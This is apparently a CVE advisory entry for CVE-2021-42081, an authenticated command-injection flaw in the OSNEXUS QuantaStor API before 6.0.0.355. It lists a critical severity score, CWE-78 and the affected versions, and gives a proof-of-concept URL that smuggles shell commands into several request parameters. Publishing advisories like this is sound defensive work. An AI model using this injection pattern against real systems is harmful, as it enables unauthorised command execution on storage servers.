CVE-2021-42081 (GCVE-0-2021-42081)
Vulnerability from cvelistv5 – Published: 2023-07-10 06:29 – Updated: 2025-09-22 06:40
VLAI?
Title
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Summary
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Severity ?
9.1 (Critical)
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
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Impacted products
| Vendor | Product | Version | ||
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| OSNEXUS | QuantaStor |
Affected:
0 , < 6.0.0.355
(semver)
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Nomenclature
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